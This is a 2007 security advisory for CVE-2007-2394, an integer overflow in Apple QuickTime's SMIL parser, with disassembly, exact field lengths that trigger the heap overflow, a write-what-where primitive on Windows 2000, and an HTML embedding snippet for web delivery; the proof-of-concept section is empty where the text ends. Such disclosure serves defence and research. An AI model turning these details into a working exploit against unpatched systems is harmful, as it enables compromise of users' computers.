<span style="font-family: courier new,monospace;">======================================================================</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
Apple QuickTime integer overflow vulnerability when parsing SMIL file</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">======================================================================
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">Date:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 09/03/2007</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">Author:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; David Vaartjes &lt;d.vaartjes at <a href="http://gmail.com">gmail.com</a>&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
Identifier:&nbsp;&nbsp;&nbsp;&nbsp; CVE-2007-2394</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">Revision:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.2</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
AFFECTED VERSIONS</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">Researched on QuickTime 7.1.3 running on Windows 2000 SP4.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">iDefense confirmed the existence of this vulnerability in version</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">7.1.3
 and 7.1.5 for Windows XP SP2 and Mac OS X also [1]. As QuickTime</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">binaries for Windows XP and Vista are identical, this issue will
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">affect QuickTime running on Windows Vista also.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
FIXED VERSIONS</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">Apple has released QuickTime version 7.2 for Mac OS X v10.3.9, Mac OS</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">X v10.4.9 or later, Windows Vista and Windows XP SP2 to address this</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
issue. See [2] for additional information about this update.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">QuickTime 
7.2 is not available for the Windows 2000 platform.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">Presumably, Apple dropped support for this platform.</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">PRODUCT DESCRIPTION</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">QuickTime is Apple&#39;s media player product. According to Apple,</span>
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">QuickTime is downloaded over 10 million times a month. According to </span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">Secunia, QuickTime is currently installed on over 50% of PCs [3].</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
The Synchronized MultiMedia Integration Language (SMIL) provides a</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">high-level scripting syntax for describing multimedia presentations.
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">SMIL files are text files that use XML-based syntax to specify what</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">media elements to present and where and when to present them.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">VULNERABILITY DESCRIPTION</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">An integer overflow vulnerability exists in a part of QuickTime.qts <br>that calculates the size of a buffer that stores the title and author<br>fields of a SMIL file. This can be exploited to overflow that heap
<br>buffer with user supplied content, which eventually can result in the<br>execution of arbitrary code.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">VULNERABILITY DETAILS</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">The integer overflow can be triggered by creating a SMIL file</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">containing a title and author field of a specific length.
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&lt;smil&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&lt;head&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&nbsp; &lt;meta name=&quot;title&quot; content=&quot;specific-length&quot;/&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp; &lt;meta name=&quot;author&quot; content=&quot;specific-length&quot;/&gt;
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&lt;/head&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&lt;/smil&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">When such a SMIL file is parsed the length value of the author field</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
is stored in a short int data type (16 bit) without bounds checking.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">In sub_66952B50(), this value is (sign) extended to a long int data
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">type (32 bit).</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">66952C9A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">66952C9B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; sub_668B57D0</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">66952CA0&nbsp; --&gt;&nbsp;&nbsp; movsx&nbsp;&nbsp; eax, word ptr [esp+2Ch+var_C]
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">66952CA5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edx, [esp+2Ch+arg_4]</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
66952CA9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, [esp+2Ch+var_10]</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">So, when the length of the author field is &gt;= 0x8000 bytes, it will be</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
extended to a length value between 0xffff8000 and 0xffffffff.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">Next, in sub_668DCFD0() the sign extended length of the author field
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">is added to the length of the title field + 0x20:</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD04D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_668DD0A0</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">668DD04F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp; ebx, ebx</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD051&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loc_668DD1EB
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD057&nbsp; --&gt;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [edi+ebx]&nbsp; // edi holds the length of</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // the title field + 0x20.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // ebx holds the sign</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // extended length of the
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // author field.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
668DD05A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD05B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ecx</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
--</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">In sub_668DCA60(), 4 is added to the result of the calculation:</span>
<br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
668DCB37&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp; edi, edi</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DCB39&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short loc_668DCB40</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">668DCB3B&nbsp; --&gt;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [edi+4]&nbsp;&nbsp;&nbsp; // edi holds the result</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
668DCB3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp; short loc_668DCB42</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">Next, in sub_668F5550() the final length value is used as the dwBytes</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
argument in a call to HeapRealloc():</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">668F555E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // dwBytes (user specified)</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
668F555F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // lpMem</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668F5560&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // dwFlags</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">668F5562&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // hHeap</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668F5563&nbsp; --&gt;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; ds:HeapReAlloc
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
This allows for the allocation of a controlled amount of memory. For</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">example, when setting the length of the author field to 0xff00 (65280)
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">and the length of the title field to 0xdf (223), the following</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">situation occurs:</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">1: sub_66952B50():
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">0x0000ff00 will be sign extended to 0xffffff00.</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">2: sub_668DCFD0():</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
0x000000ff (0x000000df + 0x00000020) will be added to 0xffffff00</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">resulting in a length value of 0xffffffff.</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp; &nbsp;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">3: sub_668DCA60():</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">0x00000004 is added to 0xffffffff, resulting in a value of 0x00000003.</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp; &nbsp;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">4: sub_668F5550():</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">HeapRealloc() will allocate 0x00000003 bytes of memory.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">Next, the pointer returned by HeapRealloc() is used by sub_668DCFD0()</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
as the dest argument in a call to memcpy():</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">668DD08E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // count, length value right</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // after sign extension</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // (0xffffff00).
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD08F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // src, buffer with user</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // supplied (author) content.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
668DD090&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; eax, esi</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD092&nbsp; --&gt;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // dest, 3 byte buffer.</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">668DD093&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; _memcpy</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD098&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; esp, 18h</span>
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">668DD09B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp; loc_668DD1E5</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
--</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">This copy action will result in an overflow of the 3 byte heap</span>
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">buffer with data from the author field (user supplied). Due to the</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
large amount of data written, this will finally result in an access</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">violation when memory is read or written outside the heap page. The
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">exception is handled by the program and execution continues with a</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">corrupt heap.</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">For my platform (win2k), when a call to HeapAlloc() is executed the
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">unlink code of ntdll will &quot;fail&quot; because we have overwritten pointers</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">in the heap management structures of other heap buffers with our data.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
The status of the registers during unlinking is:</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">EAX 78787878 &lt;-- user supplied</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">ECX 78787878 &lt;-- user supplied
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">EDX 012DF6F0 ASCII &quot;xxxxxxxxxxx &lt;-&gt; xxxxxxxxxxxx&quot;</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">EBX 00000078</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">ESP 0012EDC8</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">EBP 0012EF84</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">ESI 01200000</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">EDI 012DF6F0 ASCII &quot;xxxxxxxxxxx &lt;-&gt; xxxxxxxxxxxx&quot;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
77f867e6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr ds:[ecx],eax</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">77f867e8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov dword ptr ds:[eax+4],ecx</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">--</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">The unlink instructions will result in the following exception:
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">---------------------------</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">QuickTimePlayerMain: QuickTimePlayer.exe</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&quot;The instruction at &quot;0x77f867e6&quot; referenced memory at &quot;0x78787878&quot;.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">The memory could not be &quot;written&quot;
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">---------------------------</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">This shows that we are able to overwrite 4 bytes anywhere in the</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">address space of the process with &quot;any&quot; 4 byte value we want, which
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">can for example be exploited to overwrite function pointers like the</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">SEH or UEF to gain control of the process. This 4 byte overwrite via</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
the unlink code does not apply to XPSP2 and W2K3 as &quot;safe unlinking&quot;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">is used on these platforms.</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">ATTACK VECTORS</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">This vulnerability can be triggered by luring a target user into</span>
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">running a malicious SMIL file locally or via a webpage. In the later</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&lt;OBJECT</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp; CLASSID=&quot;clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B&quot;</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp; CODEBASE=&quot;<a href="http://www.apple.com/qtactivex/qtplugin.cab">http://www.apple.com/qtactivex/qtplugin.cab</a>&quot;</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp; WIDTH=&quot;10&quot; HEIGHT=&quot;10&quot; &gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp; &lt;!-- malicious SMIL file --&gt;
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp; &lt;PARAM NAME=&quot;src&quot; VALUE=&quot;poc.smil&quot; /&gt;</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp; &lt;EMBED</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp; &lt;!-- available .qtif or .mov file to start up QT for FF --&gt;
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp; SRC=&quot;available-sample.qtif&quot;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
&nbsp;&nbsp;&nbsp; &lt;!-- malicious SMIL file --&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp; QTSRC=&quot;poc.smil&quot;</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp; WIDTH=&quot;10&quot; HEIGHT=&quot;10&quot;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp; PLUGINSPAGE=&quot;
<a href="http://www.apple.com/quicktime/download">www.apple.com/quicktime/download</a>&quot;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&nbsp;&nbsp; TYPE=&quot;video/quicktime&quot;
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp; /&gt;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&lt;/OBJECT&gt;
</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">PROOF OF CONCEPT</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
